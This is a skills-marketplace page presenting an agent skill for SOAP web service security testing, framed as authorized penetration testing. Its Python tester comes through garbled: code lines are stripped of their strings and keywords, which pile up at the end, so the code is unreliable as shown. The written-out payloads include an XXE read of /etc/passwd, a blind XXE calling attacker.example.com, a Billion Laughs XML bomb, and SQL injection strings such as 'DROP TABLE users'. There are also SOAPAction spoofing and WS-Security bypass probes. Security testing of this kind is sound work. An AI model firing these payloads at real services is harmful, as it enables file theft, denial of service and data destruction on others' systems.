Skip to main content 首页 创作者 autohandai community-skills performing-soap-web-service-security-testing
performing-soap-web-service-security-testing Perform security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing.
跳到安装 Skills Marketplace 发现并探索由社区构建的 Agent Skills
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/autohandai/community-skills --skill performing-soap-web-service-security-testing命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
下载 Zip 下载中... name performing-soap-web-service-security-testing description Perform security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing. domain cybersecurity subdomain api-security tags ["soap","web-services","wsdl","xml-injection","xxe","ws-security","penetration-testing","soapaction-spoofing","xpath-injection"] version 1.0 author mahipal license Apache-2.0
Performing SOAP Web Service Security Testing
Overview
SOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.
Prerequisites
Target SOAP web service endpoint URL
WSDL file or URL access for the service
SoapUI or ReadyAPI for structured testing
Burp Suite with SOAP extensions for interception
Python 3.8+ with zeep and lxml libraries
Authorization to perform security testing
Testing Methodology
Phase 1: WSDL Reconnaissance
"""SOAP Web Service Security Testing Tool
Analyzes WSDL definitions and tests SOAP endpoints for
common vulnerabilities including XXE, injection, and
WS-Security misconfigurations.
"""
import requests
import xml.etree.ElementTree as ET
from lxml import etree
import sys
import re
from typing import List , Dict , Optional
from dataclasses import dataclass
@dataclass
class SOAPOperation :
name: str
action: str
input_message: str
output_message: str
parameters: List [Dict ]
class SOAPSecurityTester :
NAMESPACES = {
'wsdl' : 'http://schemas.xmlsoap.org/wsdl/' ,
'soap' : 'http://schemas.xmlsoap.org/wsdl/soap/' ,
'soap12' : 'http://schemas.xmlsoap.org/wsdl/soap12/' ,
'xsd' : 'http://www.w3.org/2001/XMLSchema' ,
'wsse' : 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' ,
}
def __init__ (self, wsdl_url: str , endpoint_url: Optional [str ] = None ):
self .wsdl_url = wsdl_url
.endpoint_url = endpoint_url
.operations: [SOAPOperation] = []
.findings: [ ] = []
( ) -> [SOAPOperation]:
response = requests.get( .wsdl_url, timeout= )
root = etree.fromstring(response.content)
.endpoint_url:
address = root.find( , .NAMESPACES)
address :
.endpoint_url = address.get( )
binding_op root.findall( , .NAMESPACES):
name = binding_op.get( )
soap_op = binding_op.find( , .NAMESPACES)
action = soap_op.get( , ) soap_op
operation = SOAPOperation(
name=name,
action=action,
input_message= ,
output_message= ,
parameters=[]
)
.operations.append(operation)
( )
op .operations:
( )
.operations
( ) -> :
xxe_payloads = [
{
: ,
: . (operation=operation.name)
},
{
: ,
: . (operation=operation.name)
},
{
: ,
: . (operation=operation.name)
}
]
results = []
xxe xxe_payloads:
:
response = requests.post(
.endpoint_url,
data=xxe[ ],
headers={
: ,
: operation.action,
},
timeout=
)
vulnerable =
indicators = []
response.text response.text:
vulnerable =
indicators.append( )
response.status_code == response.text:
indicators.append( )
response.elapsed.total_seconds() > :
indicators.append( )
vulnerable =
result = {
: xxe[ ],
: vulnerable,
: response.status_code,
: response.elapsed.total_seconds(),
: indicators
}
results.append(result)
vulnerable:
.findings.append({
: ,
: ,
: operation.name,
: xxe[ ]
})
requests.exceptions.Timeout:
results.append({
: xxe[ ],
: ,
: [ ]
})
{ : operation.name, : results}
( ) -> :
sqli_payloads = [
,
,
,
,
,
]
results = []
payload sqli_payloads:
soap_body =
:
response = requests.post(
.endpoint_url,
data=soap_body,
headers={
: ,
: operation.action,
},
timeout=
)
sql_errors = [
, , , ,
, ,
,
]
error_found = (err response.text err sql_errors)
error_found:
.findings.append({
: ,
: ,
: operation.name,
:
})
results.append({
: payload,
: response.status_code,
: error_found,
: response.elapsed.total_seconds()
})
requests.exceptions.RequestException:
{ : operation.name, : results}
( ) -> :
results = []
i, operation ( .operations):
j, other_op ( .operations):
i == j:
soap_body =
:
response = requests.post(
.endpoint_url,
data=soap_body,
headers={
: ,
: other_op.action,
},
timeout=
)
response.status_code == response.text:
.findings.append({
: ,
: ,
: operation.name,
:
})
results.append({
: operation.name,
: other_op.action,
:
})
requests.exceptions.RequestException:
{ : results}
( ) -> :
test_cases = [
{
: ,
:
},
{
: ,
:
},
{
: ,
:
}
]
results = []
test test_cases:
.operations:
operation = .operations[ ]
soap_body =
:
response = requests.post(
.endpoint_url,
data=soap_body,
headers={ : },
timeout=
)
accepted = response.status_code == response.text
accepted:
.findings.append({
: ,
: ,
: operation.name,
: test[ ]
})
results.append({
: test[ ],
: accepted,
: response.status_code
})
requests.exceptions.RequestException:
{ : results}
( ) -> :
{
: .endpoint_url,
: .wsdl_url,
: ( .operations),
: ( .findings),
: ([f f .findings f[ ] == ]),
: ([f f .findings f[ ] == ]),
: .findings
}
():
wsdl_url = sys.argv[ ] (sys.argv) >
tester = SOAPSecurityTester(wsdl_url)
( )
operations = tester.parse_wsdl()
op operations:
( )
tester.test_xxe_vulnerability(op)
tester.test_sql_injection(op)
tester.test_soapaction_spoofing()
tester.test_ws_security_bypass()
report = tester.generate_report()
( )
( )
( )
( )
( )
(
)
finding report[ ]:
( )
( )
( )
__name__ == :
main()
References
self
self
List
self
List
dict
def
parse_wsdl
self
List
"""Parse WSDL to extract available operations and parameters."""
self
30
if
not
self
'.//soap:address'
self
if
is
not
None
self
'location'
for
in
'.//wsdl:binding/wsdl:operation'
self
'name'
'soap:operation'
self
'soapAction'
''
if
is
not
None
else
''
""
""
self
print
f"[+] Found {len (self.operations)} SOAP operations"
for
in
self
print
f" - {op.name} (SOAPAction: {op.action} )"
return
self
def
test_xxe_vulnerability
self, operation: SOAPOperation
dict
"""Test for XML External Entity (XXE) injection."""
"name"
"Classic XXE (file read)"
"payload"
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>&xxe;</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''
format
"name"
"Blind XXE (OOB)"
"payload"
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.example.com/xxe.dtd">
%xxe;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>test</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''
format
"name"
"XML Bomb (Billion Laughs)"
"payload"
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>&lol4;</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''
format
for
in
try
self
"payload"
"Content-Type"
"text/xml; charset=utf-8"
"SOAPAction"
10
False
if
"root:"
in
or
"/bin/"
in
True
"File contents in response"
if
200
and
"Fault"
not
in
"No XML parsing error returned"
if
5
"Slow response (possible XML bomb)"
True
"test"
"name"
"vulnerable"
"status_code"
"response_time"
"indicators"
if
self
"severity"
"CRITICAL"
"type"
"XXE"
"operation"
"details"
"name"
except
"test"
"name"
"vulnerable"
True
"indicators"
"Request timed out - possible DoS via XML bomb"
return
"operation"
"xxe_results"
def
test_sql_injection
self, operation: SOAPOperation
dict
"""Test SOAP parameters for SQL injection."""
"' OR '1'='1"
"1; DROP TABLE users--"
"1' UNION SELECT NULL,NULL,NULL--"
"' OR 1=1; WAITFOR DELAY '0:0:5'--"
"admin'/*"
for
in
f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation.name} >
<param>{payload} </param>
</{operation.name} >
</soapenv:Body>
</soapenv:Envelope>'''
try
self
"Content-Type"
"text/xml; charset=utf-8"
"SOAPAction"
15
"SQL syntax"
"ORA-"
"mysql_"
"SQLSTATE"
"Microsoft OLE DB"
"Unclosed quotation mark"
"syntax error"
"PostgreSQL"
any
in
for
in
if
self
"severity"
"CRITICAL"
"type"
"SQL Injection"
"operation"
"details"
f"SQL error triggered with: {payload[:30 ]} ..."
"payload"
"status_code"
"sql_error_detected"
"response_time"
except
continue
return
"operation"
"sqli_results"
def
test_soapaction_spoofing
self
dict
"""Test for SOAPAction header spoofing vulnerability."""
for
in
enumerate
self
for
in
enumerate
self
if
continue
f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation.name} >
<param>test</param>
</{operation.name} >
</soapenv:Body>
</soapenv:Envelope>'''
try
self
"Content-Type"
"text/xml; charset=utf-8"
"SOAPAction"
10
if
200
and
"Fault"
not
in
self
"severity"
"HIGH"
"type"
"SOAPAction Spoofing"
"operation"
"details"
f"Accepted with SOAPAction of {other_op.name} "
"body_operation"
"spoofed_action"
"accepted"
True
except
continue
return
"spoofing_results"
def
test_ws_security_bypass
self
dict
"""Test WS-Security token handling."""
"name"
"Missing WS-Security header"
"header"
""
"name"
"Empty security token"
"header"
'''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
<wsse:UsernameToken>
<wsse:Username></wsse:Username>
<wsse:Password></wsse:Password>
</wsse:UsernameToken>
</wsse:Security>'''
"name"
"Expired timestamp"
"header"
'''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<wsu:Timestamp>
<wsu:Created>2020-01-01T00:00:00Z</wsu:Created>
<wsu:Expires>2020-01-01T00:05:00Z</wsu:Expires>
</wsu:Timestamp>
</wsse:Security>'''
for
in
if
self
self
0
f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
{test["header" ]}
</soapenv:Header>
<soapenv:Body>
<{operation.name} ><param>test</param></{operation.name} >
</soapenv:Body>
</soapenv:Envelope>'''
try
self
"Content-Type"
"text/xml; charset=utf-8"
10
200
and
"Fault"
not
in
if
self
"severity"
"CRITICAL"
"type"
"WS-Security Bypass"
"operation"
"details"
"name"
"test"
"name"
"accepted"
"status_code"
except
continue
return
"ws_security_results"
def
generate_report
self
dict
"""Generate comprehensive security assessment report."""
return
"target"
self
"wsdl"
self
"operations_tested"
len
self
"total_findings"
len
self
"critical"
len
for
in
self
if
"severity"
"CRITICAL"
"high"
len
for
in
self
if
"severity"
"HIGH"
"findings"
self
def
main
1
if
len
1
else
"http://localhost:8080/ws?wsdl"
print
f"[*] Parsing WSDL: {wsdl_url} "
for
in
print
f"\n[*] Testing operation: {op.name} "
print
f"\n{'=' *60 } "
print
f"SOAP Security Assessment Report"
print
f"{'=' *60 } "
print
f"Target: {report['target' ]} "
print
f"Operations Tested: {report['operations_tested' ]} "
print
f"Findings: {report['total_findings' ]} "
f"(Critical: {report['critical' ]} , High: {report['high' ]} )"
for
in
'findings'
print
f"\n [{finding['severity' ]} ] {finding['type' ]} "
print
f" Operation: {finding['operation' ]} "
print
f" Details: {finding['details' ]} "
if
"__main__"